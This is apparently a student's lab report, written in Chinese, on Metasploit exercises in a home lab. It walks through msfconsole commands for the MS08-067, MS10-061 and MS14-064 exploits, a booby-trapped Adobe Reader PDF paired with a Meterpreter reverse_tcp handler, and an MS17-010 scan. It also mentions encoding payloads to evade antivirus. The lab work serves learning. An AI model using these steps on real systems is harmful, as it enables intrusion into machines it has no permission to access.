- 实践内容(3.5分)
一、实践目标:
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
二、实践内容:
- 一个主动攻击实践
- 一个针对浏览器的攻击
- 一个针对客户端的攻击
- 成功应用任何一个辅助模块。
三、实验步骤
1、主动攻击实践:
1. MS08-067
这个漏洞攻击,一开始,我试了好多遍,没有成功
这个漏洞我查看了资料,可以通过139端口和445端口进行攻击。但是实验过程中一直失败,对比了一下攻击前后的服务,发现通过445端口攻击后自动关闭了几个服务,查了很多资料,比如说这个漏洞需要Computer Browser
、Server
、WorkStation
三个服务。最后调了很多设置还是不成功。
最后从同学那要来了一个能够成功的靶机镜像,Windows XP SP3 English (AlwaysOn NX)
445端口成功了,139端口一样的错误
2. MS10-061
MS10-061:打印后台程序服务中可能允许远程执行代码漏洞
这个要设置一个共享打印机:
1、添加打印机---连接到次计算机的本地打印机(去掉勾选的自动检测)---COM1口---打印机厂商默认即可---打印机名---开启共享(这个共享的名字好像要是英文才能自动识别)
2、重启print Spooler服务
开始攻击:
1、msfconsole -q
静默打开msf控制台
2、use exploit/windows/smb/ms10_061_spoolss
选择ms10-061漏洞攻击模块
3、set RHOST 192.168.0.15
目标IP
4、set PNAME test1
目标打印机name //这个可以不设置
5、set LHOST 192.168.0.108
本机IP
6、set payload windows/meterpreter/reverse_tcp
设置攻击载荷
7、exploit
开始攻击
2. 针对浏览器的攻击
search Explorer
或者serch browser
查看有关浏览器的漏洞攻击
选了一个good评价漏洞ms14-064
在msfconsole中:
1、set SRVHOST 192.168.0.108
设置地址
这个地址只要是一个子网内的就可以,这个地方我一开始一直输入的靶机的地址,一直告诉我端口无法进入,nmap扫了一下也确实没有开放,后来发现只要是一个开了8080端口的子网内地址就可以
2、端口默认8080
3、URIPATH
可以自行设置,默认随机
4、exploit
生成链接
5、在靶机上访问链接
6、可以看到session建立,用sessions -i 1
进入
3. 针对客户端的攻击
search fileformat
查找针对文件客户端的攻击,选了几个execllent评价的看了看。
比如说这个adobe_pdf_embedded_exe,可以看到的是针对Adobe Reader v8.x,v9.x版本的且系统必须是Win XP SP3英语或西班牙语版本或Win 7/vista英语版本。
关键是这个设置我不太会用。
网上找了一个攻击,也是针对Adobe Reader的,具体模块exploit/windows/filefomat/adobe_utilprintf
show options
看一下options,是针对SP3英语版的攻击,Adobe Reader版本必须是v8.2的
1、use exploit/windows/fileformat/adobe_utilprintf
使用攻击模块
2、set payload windows/meterpreter/reverse_tcp
设置攻击载荷
3、set lhost 192.168.0.108
设置回连地址
4、exploit
生成文件
5、use exploit/multi/handleer
(开启侦听)
6、set payload windwos/meterpreter/reverse_tcp
7、exploit
开始
8、把文件复制到靶机上,运行之后就可以在kali中看到攻击成功了
4. 应用一个辅助模块
找到了一个扫描漏洞的模块scanner/smb/smb_ms17_010
设置一下扫描范围set rhosts 192.168.0.1/24
扫到了两个SP3都有漏洞,所以可以用这个漏洞进行攻击。
这里看到英文版的192.168.0.3
是32位
中文版的192.168.0.15
大概就是64位系统了
突然就想到ms08-067漏洞攻击是堆栈溢出覆盖的攻击,所以大概因为64位攻击失败?
四、实验感想:
实验中遇到的问题:
辅助模块发现的问题,ms08-067漏洞攻击是堆栈溢出覆盖的攻击,大概因为64位攻击失败?
实验收获与感想
本次实验大量时间用在了ms08-067漏洞的攻击,查了很多资料,改了很多设置,包括服务的重启,msf数据库的连接等,最后还是换了个靶机才成功。所以可以看出漏洞攻击的要求还是很严格的,但是一旦攻击了就挺严重的,所以,漏洞修复还是很重要的。
五、问题回答
1、用自己的话解释什么是exploit、payload、encode。
- exploit就是攻击
- payload是攻击载荷,大概是一段指令或者shellcode,是被攻击者打开之后运行的东西。
- encode是编码,用来把容易识别的代码段编码,实行免杀等。
2、离实战还缺些什么技术或步骤?
- 需要获取想要攻击的目标机器的状态,包括漏洞、杀软版本、防火墙设置等
- 要实现整个过程不被发现